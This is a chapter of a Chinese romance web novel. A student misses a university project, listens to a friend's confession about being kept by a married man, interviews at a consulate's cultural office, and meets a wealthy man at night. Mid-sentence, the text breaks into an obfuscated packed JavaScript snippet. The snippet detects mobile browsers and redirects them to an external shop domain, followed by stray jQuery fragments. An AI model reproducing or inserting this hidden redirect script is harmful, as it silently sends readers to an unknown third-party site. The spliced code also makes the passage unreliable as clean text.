-chapter11-
公示名单里一共六个人，祝云筝从头看到尾，又从尾看到头。
没有她的名字。
虽然方才已经从卢璐的表情里得到答案，但现下亲眼确认，祝云筝还是瞬间脑子一片空白，犹如当头一棒正中眉心。
卢璐听她不出声，和乔安心担忧地对视一眼，犹豫着抿了抿唇：“筝筝……你没事吧？”
祝云筝很淡地笑了笑：“还好吧。”
乔安心递给卢璐一包树桩蛋糕，卢璐拿过去：“对不起啊，我说话不过脑子，看到出来了就发给你，没多想。”
“没事。”
话音刚落，桌上的手机屏幕亮了一下。
是学姐发来的微信：[云筝，我想来想去还是想跟你说一声，郭教授也没办法，这事不是你的问题，郭教授说过你很优秀。]
祝云筝看着那条消息，打了两个字：[我明白，谢谢。]
卢璐低头看着手机里的公示名单，小声嘀咕：“那个刘聿铭是谁啊，都没听过，而且赵佳宁口译上学期不是还挂科了吗？就因为她是那个谁亲闺女……”
乔安心用胳膊戳了戳他，卢璐瞬间闭上嘴。
第二天一早，祝云筝又去了行政楼。
这次她没有提前找助教预约，郭秉的办公室在六楼，祝云筝到的时候，门关着，门缝里没有光。
有个不认识的助教从隔壁小办公室探出头：“找郭教授？”
“是。”祝云筝点头，“请问郭教授今天什么时候在？”
“郭教授不坐班。”助教语气依旧公事公办，“有需要的话可以预约，不过最近都约满了。”
“大概要排到什么时候？”
助教翻了翻桌上的日程本：“最早也在两周，需要登记吗？”
项目公示一周，下周就要运转了。
祝云筝沉默一瞬，轻声说：“那麻烦您帮我登记一下吧。”
她填了预约表，走出行政楼。
京州的天空灰蒙蒙的，好似罩了一层洗旧的纱，昨天下过雪，夜里又刮风，树上几片残叶稍稍一晃便扯下来，混在雪里擦着地面沙沙作响。
中午去食堂简单吃了饭，又回到图书馆，给程砚知的那几份资料做专业词对照表。
傍晚她才离开，约了卢璐和乔安心出去吃火锅。
暮色四合。
祝云筝在台阶上站了片刻，把围巾解开重新系紧，凉风灌膛，贴着锁骨往下窜。
卢璐和乔安心走过来，三个人贴在一起。
到了火锅店，正值饭点人多，卢璐第一时间和她分享了今天的八卦。
“人家都是全家一起使劲呢，从一开始就没打算公平竞争。”乔安心抿一口酒，“筝筝你别灰心，我可以帮你问问我男朋友有没有合适的实习。”
祝云筝淡淡笑了下：“你交新男朋友啦？”
乔安心双手捧住脸：“对啊，我没和你们说吗？”
卢璐惊讶：“什么时候的事啊？”
“就前几天才确定的。”
祝云筝轻轻笑了下：“恭喜。”
卢璐手舞足蹈：“那改天叫他出来大家一起吃个饭嘛。”
乔安心微愣，唇线抿得僵直：“这个就算了。”
气氛瞬间将至冰点。
沉默片刻，一通电话搅乱了僵持的氛围。
卢璐接起电话点头哈腰说了几句，挂断电话后深吸一口气：“完了，让我现在去实验楼，你们俩先吃吧。”
等卢璐走远，乔安心深吸了一口气，笑着说：“筝筝，我不是不愿意带他见朋友，是……不太合适。”
祝云筝当然听出她这笑里难言的苍凉：“他是什么样的人？”
乔安心的语气故作轻松：“就一个老男人呗，年纪挺大的，你们肯定也听说了，学校那么多人在议论，他们说你的那些其实都怪周灿，全是空穴来风，我那部分……”
“人云亦云不用放在心上。”祝云筝安抚她。
“不是人云亦云。”乔安心把声音放轻，打断她的话，“是真的……”
祝云筝依旧不觉得这点有什么：“……很老吗？谈恋爱的话只要不是相差太大，年龄也不是问题，我知道有些有阅历的人心态也很年轻。”
“四十五，比我大二十多，挺老了。”乔安心被她逗笑，“不过重点是这个吗？”
“不是吗？”祝云筝一脸困惑。
乔安心坐直身子，将桌上的一罐啤酒一饮而尽，沉默好一阵，她才开口。
“不是。”
“他结婚了。”
祝云筝一愣。
之前学校里确实有传言，说乔安心在外面住，经常有豪车接送，有人说她是不够自尊自爱物化自己，还有人说她三番几次心甘情愿跟有妇之夫纠缠。
但毕竟有些人什么话都乱讲，先前乔安心是被骗，她自己也是受害者，祝云筝都当闲话。
乔安心扯了扯嘴角：“很意外？其实之前那段也是。”
“……这次也是他骗你？”
“也不算吧？他都四五十了，如果还没结婚才不正常，我心里有预期，只是前几天确定了。”乔安心抿了下唇。
“那你不和他分手吗？”
乔安心笑了下：“分什么手？和上次不一样。这次我们提前讲清楚了，我陪他睡，他给我钱，京州的工作也基本随便挑，我还觉得我赚了呢。”
祝云筝不知道该说什么才能消解她话里话外的凄凉。
“筝筝，我知道好多人都觉得干这事儿挺没底线的，我确实有点怕别人给我丢烂菜叶子。”乔安心看着她，深吸一口气，“卢璐没心没肺的容易说漏嘴，我只敢和你说……你也会说我吗？”
“我不会指责你。”祝云筝安静了好一会儿，“我是你的朋友，你这么做一定有自己的理由。”
“我只是觉得，我们都是从小地方出来的，你应该会理解我。”乔安心眼角有些泛红，像是酒精熏得上头。
祝云筝抬手轻抚她的背，被乔安心握住了手。
“他能给我京州户口，这是最基本的，还有京禀壹号的房子，这次房产证写我的名字，我就不会被赶出来了，还有爱马仕，一个包顶我家多少年的收入……我一辈子都赚不来这些东西，而且他们这圈子里挺正常，就我这两个月见的，男的女的加起来也有十几个，他们都在做，我又不是少数人。”
乔安心用纸巾擦了下眼泪：“就算是卖又怎么样？贞.操能值几个钱？他们男人为了上位也没少干这些事，我又不是干什么众人皆醒我独醉的腌臜事儿……”
祝云筝一时没说话，只安静地握着她的手。
人在面对未知时，会本能渴望合群，潜意识知道自己做错了事，且无法回头时，极力试图自己是大多数也是情理之中。
乔安心抬起头：“筝筝，之前不是有人说过吗？每个人都是出来卖的，只是卖的东西不一样而已，有的卖色.相，有的卖学识，卖智商卖情绪，卖人情卖资源，我没错，对不对？”
祝云筝没有立场规劝她，这世界并不是非黑即白，世间万物不能单靠对与错来评判。
这些人用一点微不足道的小手段就能像X光一样把人照透，看得明明白白，随手编织一个上流社会纸醉金迷的梦，花点小钱就能买断一个女人的青春。
给予的背后都有标价。
不分三六九等，只分难易。
看她沉默，乔安心吸吸鼻子：“筝筝，我是不是说太多了，我也不想的，但是忍不住……”
祝云筝轻轻拍抚她的肩膀：“没有，你能跟我说这些我很高兴，哭出来就好了，没关系的。”
乔安心声音颤着：“你不说我做的不对吗？”
祝云筝摇摇头：“我不喜欢，也没什么立场批判别人，我只希望你能跟他好聚好散，别再让自己受伤。”
乔安心沉默下来。
许久，伸手，轻轻抱住：“谢谢，我会的……”
祝云筝抬手回抱住她：“吃饭吧。”
乔安心点点头，擦干眼泪，重新牵起唇角：“吃饭！天塌了也得填饱肚子。”
祝云筝笑了下。
“对了，筝筝，我男朋友的舅舅是艾雅的，他们有很多翻译岗，要不我帮你问问？”
“不用，我再看看。”祝云筝摇摇头，“你保重好自己。”
祝云筝想也没想，第二天开始去校外的公司以及招聘网站上都投了简历。
因为履历还算优秀，也接到了许多家公司的面试邀约，但大部分是跨境电商、留学机构，也有为外企提供同传服务的专业翻译公司，祝云筝做了筛选，一一过去面试。
“不好意思啊，我们总监还是想要一位有海外留学经历的实习生，但我们会把您的简历放进人才库……”
“形象很好，能接受出差和应酬吗？我们这边晚上应酬比较多，不能接受的话早点说。”
“我们需要二外德语的实习生，不过你的形象很好，公司现在需要一名法语总助，会喝酒吗？”
祝云筝能回复的只有沉默。
才华值钱，能力值钱，又不算值钱。更何况，在京州这个地方，有能力的人遍地都是。
文化处的面试通知是下午五点收到的。
祝云筝回到学校才看到邮件，措辞官方，请她周五上午十点到文化处参加复试。
[您的笔译成绩优秀，希望能面谈。]
她在宿舍楼下站了一会儿，风从北面灌过来，她把脸埋进围巾里。
上次笔试之后她等了一周，等到郭秉教授的公示名单出来，已经对文化处这份工作也不抱希望的时候，这封邮件才慢悠悠地出现在她的邮箱。
但好在还是来了。
她给卢璐发了条消息，又犹豫了一下，打开通讯录，手指停在夏宜民的名字上，想了想还是没拨出去，等尘埃落定再分享也不迟。
她已经不知道该不该期待结果。
周五早晨，京州起了雾。
祝云筝提前半小时到了领事馆。
面试顺序按成绩排，她是第一个。
等了很久，工作人员引她进会议室。
考场在领事馆文化处的一间会议室，长桌两侧坐了十几个人，大都穿着正装，祝云筝坐在靠窗的位置，阳光从玻璃透进来，她垂眸看一眼洗得发旧的衬衫袖口，用手指捋平掖进去。
对方是文化处的一名法国女士，四十多岁，用的法语，语速不快，先是一些常规问题：为什么想来文化处实习？对中法文化交流有什么理解？职业规划？
祝云筝一一答过。
这些她准备过。
然后是另一边的年轻男人，他翻阅祝云筝的简历，旋即用中文问：“你之前在北山庄园做过临时的同传助理？”
祝云筝微微一顿：“是。”
“多久？”
“一晚，大概四个小时。”
“是程砚知先生那边的工作？”
祝云筝语气微顿，语气依旧平稳：“是，一个私人晚宴。”
男人没有再问下去，低下头，在评分表上写了些什么。
祝云筝的手指微微握紧，不太确定这是加分项还是减分项，毕竟北山那天算不上正式的翻译经历，还发发生了太多事。
面试结束后，工作人员统一告知结果会在终审后公布，大概一周。
从领事馆出来后，在一旁捂着嘴藏了很久的卢璐跑过来：“怎么样？有希望吗？”
祝云筝笑了下：“大概吧，我也不确定。”
卢璐激动地抱住她：“哎呀反正已经□□了，要不要庆祝一下？”
“但还没出结果……”
“管他出不出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744365|209211||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
结果，考完试就值得庆祝啊。”
卢璐是及时行乐的性子，不给她乱想的时间，就拉起她的手出门：“去吃小吃吧？你上次说想吃那家冷面，今天必须加个超级大肉排。”
祝云筝把乱七八糟的想法抛诸脑后，笑说：“好。”
坐了几站公交，冷面馆就开在学校往东两条街，门面不大，灰底白字的招牌被风吹得褪了色。
卢璐一进门便熟稔点餐：“两份招牌冷面，一份加肉排，一份加卤蛋。”
祝云筝说：“我吃卤蛋就行。”
“你刚面试完，补补。”卢璐把肉排那碗推到她面前，自己掰开一次性筷子，“肉排分我一半，我不跟你客气。”
祝云筝笑了笑，没再推脱，用筷子把肉排分成两半，其中一块放进卢璐碗里。
卢璐饿坏了似的吃几口，才含糊问：“那个面试官问你兼职的事，我怎么听得不太对。”
“哪里不对？”
“因为他问的是‘程先生那边的工作’。”卢璐学着，“正常人问兼职经历，一般不都说哪个公司、哪个单位、工作内容都有什么嘛，他这样问好像只关心谁让你做的，而不是你做了什么。”
祝云筝没有接话，低头喝一口面汤，酸甜的浓汤顺着喉咙滑下去，胃里泛起一阵说不清道不明的闷。
-
在等终审结果的一周里，祝云筝刻意不让自己停下来，京州的冬夜黑得早，校区里路灯亮了一排。
学校西门的打印店开在围墙外头，推门时，旧锈的玻璃门发出“吱呀”一声响。
老板从电脑后仰起脸：“打印还是复印？”
“打印。”
祝云筝找了个电脑，自己打印几份简历。顺便把将翻译好的第一期材料发到程砚知的工作邮箱里，附上一段话。
[程先生：译稿已完成，感谢您的信任，如有不妥之处请联系我修改。祝云筝。]
规规矩矩，公司公办。
手机震动一声，是卢璐发来的微信：[筝筝，赵佳宁的名额掉了，郭教授应该是知道了她挂科的事吧，这么看还挺公平的。]
祝云筝沉默片刻。
若真是公平，郭教授应该也有其他方面的考量，她也认了。
机器嗡鸣，吐出纸张。
祝云筝把几份简历装进文件袋，算了算，扫码付了五块钱。
推门的瞬间，冷风吹散了外套，祝云筝闭了闭眼，将外套紧紧拢起往回走。
回到宿舍，窗帘没拉，月光在地上铺成银白一片。
“筝筝，我听见个事。”
卢璐刚从孟教授办公室跑回来，进门就把包甩到床上。
祝云筝正在给译稿做收尾，没抬头：“怎么了？”
“领事馆那个实习，名单好像已经确定了。”卢璐说，“游戏群里有学姐说，文化处那边给学院打过电话。”
说到一半，卢璐顿了下，又继续说完：“打听你来着，说是终审需要。”
祝云筝手里的笔停了下，抬起头：“是背调吗？我没收到通知。”
“好像不是啊，那个人先问了上次你在郭教授那儿的项目为什么被刷了，这很正常吧？”卢璐坐到她床沿，神情严肃，“但是后面就开始莫名其妙打听你平时朋友多不多，你平时晚上住在哪里，周末跟谁出去之类的。”
祝云筝一愣。
卢璐小声嘀咕：“背调就背调，查户口一样的算怎么回事……”
“可能是想确认下生活品德之类的吧。”祝云筝垂眸，“我也不清楚。”
沉默片刻，祝云筝想到面试那天被问及北山那段经历。
领事馆和文化处这些地方的人，怕的不过就是请神容易送神难，一个看起来本身没家底的女学生背后忽然冒出没法收场的名目来，他们也没办法收场。
祝云筝低头把稿子翻过一页：“算了，查就查了，我没什么见不得人的。”
“那万一就是又要给别人开后门，往你身上按个理由把你刷掉呢？”卢璐有些着急，“要不去找学院说一下。”
“电话已经打了，如果他们真想刷人，怎么样都会刷的。”祝云筝抿了下唇，“我能做的已经都做了。”
在桌前坐了很久，祝云筝没办法再沉下心，起身去浴室，洗完澡擦干头发，正换衣服的时候，收到一条消息，显示“赵歌”，上回来电话后顺手备注的。
[祝小姐，先生想见您，请您来学校西门一趟。]
祝云筝一愣，正要回复时，对方又发来一条。
[先生已经在了。]
她犹豫片刻，还是把手机揣进口袋，和卢璐说“我出去下”，没等卢璐追问，人已经推门走了。
……
西门离商圈很远，这个时间早已人迹寥寥，只偶尔有车碾着月色呼啸而过。
穿过人行道，祝云筝才看见路边泊着一辆黑色的车，双R的车标过分显眼，却隐在夜色中，只有尾灯亮着两点暗红，在冷风里将息未息地燃着。
程砚知没有在车里坐着。
他站在车边，不知何时就已经注意到她，他的脸一半浸在昏昧里，一半被树影漏下的灯光浅浅勾出轮廓，镜片后的目光正落在她身上，没挪开。
祝云筝远远触上那道目光。
脚步缓滞，说不清道不明的心绪。
从前总觉自己意志坚定，直到此刻，隔着一道杳杳月色，目光相接，朦胧间却生出彼此确认的错觉。
那样一个人。
风雪霁月、廓清玉宇，向来温和的双眸下始终蕴着几分凌厉，此刻没了眼镜的遮挡，那目光便越过寂寂长街，越过疏疏树影，毫不掩饰地透过熙攘万物。
身侧高悬一盏冷白的路灯，嶙峋树杈将光影筛落，碎在薄薄积雪上，好似水底暗藻招摇。
月光淌了一地。
他只望着她。